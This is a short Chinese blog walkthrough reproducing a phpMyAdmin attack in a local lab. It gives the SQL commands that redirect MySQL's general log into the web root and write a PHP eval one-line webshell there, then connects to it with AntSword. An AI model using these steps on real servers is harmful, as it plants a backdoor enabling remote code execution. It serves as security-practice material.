PhPMyadmin-漏洞复现

殇ベ言清欢2024-12-02 21:17

前情条件是：首先将我们的PHP版本设置在5.5以上注：禁止用于未授权的测试!

首先搭建环境，登录后台

点击》》SQL

查看当前的日志状态

  SHOW VARIABLES LIKE 'general%';

因为之前我原来做过所以general_log 是开启的，如果vlau 是OFF时，可以使用

set global general_log = "ON";打开日志

然后后面打开genera_log_file 写到网站目录下

  set global general_log_file='D:\\phpstudy_pro\\WWW\\pikachu-master\\shell.php'
前提是知道网站目录下

查看日志，看更改日志文件路径是否成功

日志文件里写入一句话木马

  select '<?php @eval($_POST[cmd]);?>';

访问一下shell.php

  http://pikachu-master/shell.php

能够成功访问

然后适用蚁剑连接

成功连接